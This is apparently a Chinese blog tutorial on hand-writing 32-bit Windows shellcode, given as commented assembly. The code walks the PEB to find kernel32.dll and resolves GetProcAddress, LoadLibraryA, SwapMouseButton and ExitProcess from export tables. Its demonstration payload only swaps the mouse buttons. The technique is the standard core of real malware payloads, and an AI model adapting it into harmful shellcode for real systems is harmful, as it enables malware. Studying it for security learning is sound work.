Shellcode编写

第零步

首先我们需要有一些预备知识:

1、FS寄存器在Windows操作系统中通常被用来指向线程环境块(Thread Environment Block,TEB)。每个线程都有一个独立的TEB,其中包含了线程的特定信息。通过FS寄存器指向TEB,可以方便地访问线程的上下文信息。

2、在Windows操作系统中,每个进程都有一个PEB,它包含了进程的特定信息。而每个线程都有一个独立的TEB,其中包含了线程的特定信息。在32位Windows系统中,FS寄存器指向TEB的起始地址,而在64位Windows系统中,GS寄存器指向TEB的起始地址。通过访问TEB的偏移量0x30处的值,可以获取到PEB的指针,从而进一步访问PEB中的信息。

3、PEB(Process Environment Block)结构体中的第12个成员是一个指针,指向进程的Loader数据结构。这个成员在PEB结构体中的偏移量是0x0C。Loader数据结构(也称为LDR数据结构)是Windows内核用于管理加载的模块(如DLL)的数据结构。它包含了加载的模块的信息,如模块的基址、入口点、导出函数等。通过PEB中的LDR成员,可以访问到当前进程加载的模块的信息。

4、在Windows操作系统中,PEB结构体中的LDR成员指向一个链表,该链表存储了进程加载的模块(如DLL)的信息。这个链表被称为模块初始化链表(Module Initialization List),也被称为InMemoryOrderModuleList。在这个链表中,按照内存中的顺序存储着已加载的模块的信息。第一个结点是ntdll.dll,第二个结点是kernel32.dll,这是因为这两个模块是Windows操作系统中的核心模块,在进程启动时就会被加载并初始化。而其他模块则根据它们被加载的顺序依次排列在链表中。

第一步

具体结构图如下:

故我们可以编写代码,从FS寄存器入手来找寻kernel32.dll的基址:

xor ecx, ecx

mov eax,fs:[ecx + 0x30] ;在FS寄存器(TEB)中的0x30偏移处获得PEB的指针

mov eax, [eax + 0xc] ;在PEB结构体中的第0xc的偏移处获得LDR指针

mov esi, [eax + 0x14] ;在的0x14偏移处获取到模 块 初 始 化 链 表InMemoryOrderModuleList

lodsd ;从ESI寄存器指向的内存地址读取一个32位,将其存储到EAX寄存器中。ESI寄存器的值自动增加32位

xchg eax, esi

lodsd

mov ebx, [eax + 0x10] ;获取到了加载基地址

这个地方是比较难懂的,可以通过下面的图来理解:

图中的ABC是所在结点指向下一个节点的指针

我们标黄的第一句指令mov esi, [eax + 0x14],此时esi的值就是我们图中标的A,也就是该节点指向写一个节点的地址,也就是B的地址

在执行完lodsd后将esi寄存器中的值(A)指向的内存地址读取一个32位,也就是将B读取了出来,交给了eax,之后交换,xchg eax, esi,此时esi的值为B,下面再次执行lodsd,就将esi寄存器中的值(B)指向的内存地址读取32位,即将C读取到eax中,此时eax指向我们最后一个kernel32.dll节点的首地址,之后偏移0x10就找到了我们的加载基地址。

第二步

此时ebx中存的就是基地址,通过下图可以清楚的知道获取函数名称表的位置

从现在开始的所有可用地址均需要使用基址加偏移,基址就是ebx的值

mov edx, [ebx + 0x3c] ; EDX = DOS->e_lfanew

add edx, ebx          ; EDX = PE Header

mov edx, [edx + 0x78] ; EDX = Offset export table

add edx, ebx          ; EDX = Export table

mov esi, [edx + 0x20] ; ESI = Offset names table

add esi, ebx          ; ESI = Names table

xor ecx, ecx          ; EXC = 0

下面解释一下我对通过函数名找寻地址的看法

首先通过在名称表中找到对应的名称,下面这段代码是首先ecx自增一,之后将esi寄存器的值指向的内存空间读到eax中,也就是此时eax中存的是第一个函数名称的前四个字节,与 "GetP"进行比较,若一样则向下继续判断,若不一样则说明不是当前这个函数,跳到”Get_Function:”继续执行,这里特别强调一下lodsd指令有两个功能,一是从ESI寄存器指向的内存地址读取一个32位,将其存储到EAX寄存器中。二是ESI寄存器的值自动增加32位,也就是当第一轮执行之后,esi中放的是下一个函数名称的地址,继续将其指向的内存空间的前四个字节送到eax中(也就是函数名称列表中的第一个函数名称的前四个字节),同时esi加4,指向了第二个函数名称的地址,一直向后比对,直到每个字节都比对成功后,此时的ecx中存的就是目标函数在函数名称列表中的位置

Get_Function:

inc ecx                              ; Increment the ordinal

lodsd                                ; Get name offset

add eax, ebx                         ; Get function name

cmp dword ptr[eax], 0x50746547       ; "GetP"

jnz Get_Function

cmp dword ptr[eax + 0x4], 0x41636f72 ; "rocA"

jnz Get_Function

cmp dword ptr[eax + 0x8], 0x65726464 ; "ddre"

jnz Get_Function

第三步

之后我们需要根据这个位置在序号表中寻找其在地址表中的序号,进一步查询地址表获取其地址,在这里我们要注意,序号表的第一个表项为空,也就是名称表的第0个函数在序号表中的位置在第一个而非第0个,所以在序号表中直接用ecx乘2去寻找目标函数的序号,而地址表中的地址对应的序号是从0开始,故要ecx减1,一个地址是32位,所以乘4,最终获取到目标函数相对地址加ebx后为真实内存加载地址

mov esi, [edx + 0x24]    ; ESI = Offset ordinals

add esi, ebx             ; ESI = Ordinals table

mov cx, [esi + ecx * 2]  ; CX = Number of function

dec ecx

mov esi, [edx + 0x1c]    ; ESI = Offset address table

add esi, ebx             ; ESI = Address table

mov edx, [esi + ecx * 4] ; EDX = Pointer(offset)

add edx, ebx             ; EDX = GetProcAddress:

第四步

接下来我们需要用 GetProcAddress函数获取LoadLibrary函数地址,当涉及到函数调用时,栈空间必不可少

xor ecx, ecx    ; ECX = 0

push ebx        ; Kernel32 base address

push edx        ; GetProcAddress

push ecx        ; 0

push 0x41797261 ; "aryA"

push 0x7262694c ; "Libr"

push 0x64616f4c ; "Load"

push esp        ; "LoadLibrary"

push ebx        ; Kernel32 base address

call edx        ; GetProcAddress(LL)

当执行完上述指令后,栈空间如下图(此处ret意思是步入该函数):

从栈空间可知当调用 GetProcAddress函数时参数为ret高地址的两个32位字长

第五步

接下来我们可以使用上一步获取的LoadLibraryA的地址来加载user32.dll

我们后期调试中可以看到在调用GetProcAddress前的参数压栈情况

在步过之后,发现在执行完call命令后esp将其参数跨过,指向压参数前的位置,我们要将压入的“LoadLibraryA”字符串跳过,故第一条指令是“add esp, 0xc”用于栈平衡(将垃圾数据弹出)

并且此时eax中存的是GetProcAddress的返回值,也就是LoadLibraryA的地址,我们获取到后压栈

由于后续要改变ecx的值,所以我们先保存ecx的值,再将“user32.dll”字符串作为LoadLibrary的参数压栈后调用LoadLibrary函数

add esp, 0xc    ; pop "LoadLibraryA"

pop ecx         ; ECX = 0

push eax        ; EAX = LoadLibraryA

push ecx

mov cx, 0x6c6c  ; "ll"

push ecx

push 0x642e3233 ; "32.d"

push 0x72657375 ; "user"

push esp        ; "user32.dll"

call eax        ; LoadLibrary("user32.dll")

在执行完上述指令时栈空间如图所示(此处ret意思是步入该函数):

第六步

在获取到user32.dll的基地址后,就可以在其中获取目标函数SwapMouseButton,我们在执行完“call eax        ; LoadLibrary("user32.dll")”前后栈空间如图,同时user32.dll的地址保存在eax中

在执行完add esp, 0x10后清理栈空间,esp指向我们保存的 LoadLibrary的地址

在清理完栈空间后,我们就重新获取到GetProcAddress的地址,用其在user32.dll中找到名为SwapMouseButton的函数并将其地址放在eax中

;6. 获取SwapMouseButton函数地址

add esp, 0x10                  ; Clean stack

mov edx, [esp + 0x4]           ; EDX = GetProcAddress

xor ecx, ecx                   ; ECX = 0

push ecx

mov ecx, 0x616E6F74            ; "tona"

push ecx

sub dword ptr[esp + 0x3], 0x61 ; Remove "a"

push 0x74754265                ; "eBut"

push 0x73756F4D                ; "Mous"

push 0x70617753                ; "Swap"

push esp                       ; "SwapMouseButton"

push eax                       ; user32.dll address

call edx                       ; GetProc(SwapMouseButton)

执行完这段代码后的栈空间

这段代码最终获取到了目标函数地址

第七步

当我们获取到SwapMouseButton地址后我们查阅SwapMouseButton的使用规则后构造栈空间,调用这个函数

当执行完“add esp, 0x14”后栈空间如下图:

add esp, 0x14 ; Cleanup stack

xor ecx, ecx  ; ECX = 0

inc ecx       ; true

push ecx      ; 1

call eax      ; Swap!

上述代码执行后,栈空间如下图ecx(1)即为函数参数

第八步

最后出于职业规范,我们需要调用ExitProc函数,在清理栈空间后,我们发现 LoadLibrary已经没用了,故不在栈空间内

add esp, 0x4                    ; Clean stack

pop edx                         ; GetProcAddress

pop ebx                         ; kernel32.dll base address

mov ecx, 0x61737365             ; "essa"

push ecx

sub dword ptr [esp + 0x3], 0x61 ; Remove "a"

push 0x636f7250                 ; "Proc"

push 0x74697845                 ; "Exit"

push esp

push ebx                        ; kernel32.dll base address

call edx                        ; GetProc(Exec)

xor ecx, ecx                    ; ECX = 0

push ecx                        ; Return code = 0

call eax                        ; ExitProcess

两次call的栈空间:

经过上面的分析已经将shellcode分析的十分透彻,我们接下来简单实验一下:

首先编写C程序并将其编译:

生成的exe使用IDA打开并找到我们的第一行代码:

以及最后一行代码,并记住其对应地址:

打开十六进制窗口

将其复制出来后,写C程序执行即可:

  • 36
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值